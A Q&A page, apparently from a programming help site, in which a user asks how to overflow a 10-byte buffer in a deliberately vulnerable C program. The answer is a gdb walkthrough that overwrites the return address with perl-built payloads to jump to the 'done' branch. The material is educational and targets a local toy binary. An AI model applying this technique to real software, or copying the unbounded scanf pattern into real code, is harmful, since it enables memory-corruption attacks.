Search code examples
cgccbuffer-overflow

How can I overflow the memory


I'm trying to cause a buffer overflow to overwrite a variable to execute the first part of the if statement. However, each time I try to do that a Segmentation fault error occurs with executing the second part of the if statement.

Here is the code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(){
    char username[10];
    volatile int password = 0;
    scanf("%s", username);
    if(password != 0){
        printf("done\n");
    }else{
        printf("tryharder\n");
    }
    return 0;
}

I used gcc to compile it:

 gcc pwn.c -o pwn

I've also tried:

 gcc pwn.c -o pwn -fno-stack-protector

when I try to cause the memory to overflow I use:

 kali@salluc:~/$ ./pwn
 00000000000000000000000000000000000000000000000000
 tryharder
 Segmentation fault

I want to know what should I do to be able to overwrite the password variable and why the method I'm using is not working.


Solution

  • Try overwriting the stack to point the RIP (on x86_64, the most common arch in use today) back at the piece right after the if(password != 0) conditional. Compiled and then debugged in gdb it looks like this:

    [marshall@jerkon]{10:27 PM}: [~/Hack] $ gcc aba.c -o aba -fno-stack-protector -ggdb
    [marshall@jerkon]{10:28 PM}: [~/Hack] $ gdb ./aba
    GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
    Copyright (C) 2020 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.
    Type "show copying" and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
        <http://www.gnu.org/software/gdb/documentation/>.
    
    For help, type "help".
    Type "apropos word" to search for commands related to "word"...
    Reading symbols from ./aba...
    (gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
    Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
    tryharder
    tryharder
    
    Program received signal SIGSEGV, Segmentation fault.
    0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
    (gdb) disas main
    Dump of assembler code for function main:
       0x0000555555555169 <+0>:     endbr64
       0x000055555555516d <+4>:     push   %rbp
       0x000055555555516e <+5>:     mov    %rsp,%rbp
       0x0000555555555171 <+8>:     sub    $0x10,%rsp
       0x0000555555555175 <+12>:    movl   $0x0,-0x10(%rbp)
       0x000055555555517c <+19>:    lea    -0xa(%rbp),%rax
       0x0000555555555180 <+23>:    mov    %rax,%rsi
       0x0000555555555183 <+26>:    lea    0xe7a(%rip),%rdi        # 0x555555556004
       0x000055555555518a <+33>:    mov    $0x0,%eax
       0x000055555555518f <+38>:    callq  0x555555555070 <__isoc99_scanf@plt>
       0x0000555555555194 <+43>:    mov    -0x10(%rbp),%eax
       0x0000555555555197 <+46>:    test   %eax,%eax
       0x0000555555555199 <+48>:    je     0x5555555551a9 <main+64>
       0x000055555555519b <+50>:    lea    0xe65(%rip),%rdi        # 0x555555556007
       0x00005555555551a2 <+57>:    callq  0x555555555060 <puts@plt>
       0x00005555555551a7 <+62>:    jmp    0x5555555551b5 <main+76>
       0x00005555555551a9 <+64>:    lea    0xe5c(%rip),%rdi        # 0x55555555600c
       0x00005555555551b0 <+71>:    callq  0x555555555060 <puts@plt>
       0x00005555555551b5 <+76>:    mov    $0x0,%eax
       0x00005555555551ba <+81>:    leaveq
       0x00005555555551bb <+82>:    retq
    End of assembler dump.
    (gdb) break 10
    Breakpoint 1 at 0x555555555194: file aba.c, line 10.
    (gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
    
    Breakpoint 1, main () at aba.c:10
    10          if(password != 0){
    (gdb) stepi
    10          if(password != 0){
    (gdb) stepi
    0x0000555555555199      10          if(password != 0){
    (gdb) stepi
    13              printf("tryharder\n");
    (gdb) info reg
    rax            0x0                 0
    rbx            0x5555555551c0      93824992235968
    rcx            0x0                 0
    rdx            0x0                 0
    rsi            0xa                 10
    rdi            0x7fffffffdb30      140737488345904
    rbp            0x7fffffffe080      0x7fffffffe080
    rsp            0x7fffffffe070      0x7fffffffe070
    r8             0xa                 10
    r9             0x7c                124
    r10            0x7ffff7fa8be0      140737353780192
    r11            0x246               582
    r12            0x555555555080      93824992235648
    r13            0x7fffffffe170      140737488347504
    r14            0x0                 0
    r15            0x0                 0
    rip            0x5555555551a9      0x5555555551a9 <main+64>
    eflags         0x246               [ PF ZF IF ]
    cs             0x33                51
    ss             0x2b                43
    ds             0x0                 0
    es             0x0                 0
    fs             0x0                 0
    gs             0x0                 0
    (gdb) cont
    Continuing.
    tryharder
    
    Breakpoint 1, main () at aba.c:10
    10          if(password != 0){
    (gdb)
    Continuing.
    tryharder
    
    Program received signal SIGSEGV, Segmentation fault.
    0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
    (gdb) r <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
    
    Breakpoint 1, main () at aba.c:10
    10          if(password != 0){
    (gdb) cont
    Continuing.
    tryharder
    
    Program received signal SIGSEGV, Segmentation fault.
    0x0000112233445566 in ?? ()
    (gdb) disas main
    Dump of assembler code for function main:
       0x0000555555555169 <+0>:     endbr64
       0x000055555555516d <+4>:     push   %rbp
       0x000055555555516e <+5>:     mov    %rsp,%rbp
       0x0000555555555171 <+8>:     sub    $0x10,%rsp
       0x0000555555555175 <+12>:    movl   $0x0,-0x10(%rbp)
       0x000055555555517c <+19>:    lea    -0xa(%rbp),%rax
       0x0000555555555180 <+23>:    mov    %rax,%rsi
       0x0000555555555183 <+26>:    lea    0xe7a(%rip),%rdi        # 0x555555556004
       0x000055555555518a <+33>:    mov    $0x0,%eax
       0x000055555555518f <+38>:    callq  0x555555555070 <__isoc99_scanf@plt>
       0x0000555555555194 <+43>:    mov    -0x10(%rbp),%eax
       0x0000555555555197 <+46>:    test   %eax,%eax
       0x0000555555555199 <+48>:    je     0x5555555551a9 <main+64>
       0x000055555555519b <+50>:    lea    0xe65(%rip),%rdi        # 0x555555556007
       0x00005555555551a2 <+57>:    callq  0x555555555060 <puts@plt>
       0x00005555555551a7 <+62>:    jmp    0x5555555551b5 <main+76>
       0x00005555555551a9 <+64>:    lea    0xe5c(%rip),%rdi        # 0x55555555600c
       0x00005555555551b0 <+71>:    callq  0x555555555060 <puts@plt>
       0x00005555555551b5 <+76>:    mov    $0x0,%eax
       0x00005555555551ba <+81>:    leaveq
       0x00005555555551bb <+82>:    retq
    End of assembler dump.
    (gdb) break 11
    Breakpoint 2 at 0x55555555519b: file aba.c, line 11.
    (gdb) r <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
    
    Breakpoint 1, main () at aba.c:10
    10          if(password != 0){
    (gdb) next
    13              printf("tryharder\n");
    (gdb) next
    tryharder
    15          return 0;
    (gdb) next
    16      }
    (gdb) next
    
    Breakpoint 2, main () at aba.c:11
    11              printf("done\n");
    (gdb) next
    done
    15          return 0;
    (gdb) next
    16      }
    (gdb) next
    
    Program received signal SIGBUS, Bus error.
    main () at aba.c:16
    16      }
    (gdb) q
    A debugging session is active.
    
            Inferior 1 [process 336779] will be killed.
    
    Quit anyway? (y or n) y
    [marshall@jerkon]{10:34 PM}: [~/Hack] $ 
    

    You'll find that 24 characters allows you to overwrite the return pointer on the stack by trial and error. Then once you get it to crash and you see as many 41's (capital "A"s) as will fit in the buffer before going off into another part of memory (outside the 0x0000555555555555 zone). Now set a braekpoint right at the point where you want to jump to, you can do this with break <c_file_linenumber>, or also a memory address, or whatever you feel comfortable with. Then (now note ti is backwards), you can use A's to build up to the RIP overwrite in memory, and then write in 665544332211 as placeholders. You should then end up with a fault when it tries to jump to the next instruction at 0x0000112233445566. As you're playing with it, you can the number in the line that looks like 0x0000112233445566 in ?? () is what address you'll land at. Now just plug in whatever is closest to your:

    printf("done\n");

    Which on my system is:

    0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007

    Plug the new known values in, again, backwards. Then as you can see, the overwrite will be complete when you see (after where I put breakpoint #2):

    Breakpoint 2, main () at aba.c:11
    11              printf("done\n");
    (gdb) next
    done
    

    This BoF is pretty trivial, but you should get the basic idea. Here you can find more about buffer overflows. In practice you'll have stack protection on, a kernel randomized stack, and generally it will be significatly more complex than just jumping to a different instruction, you'll likely need shellcode, etc.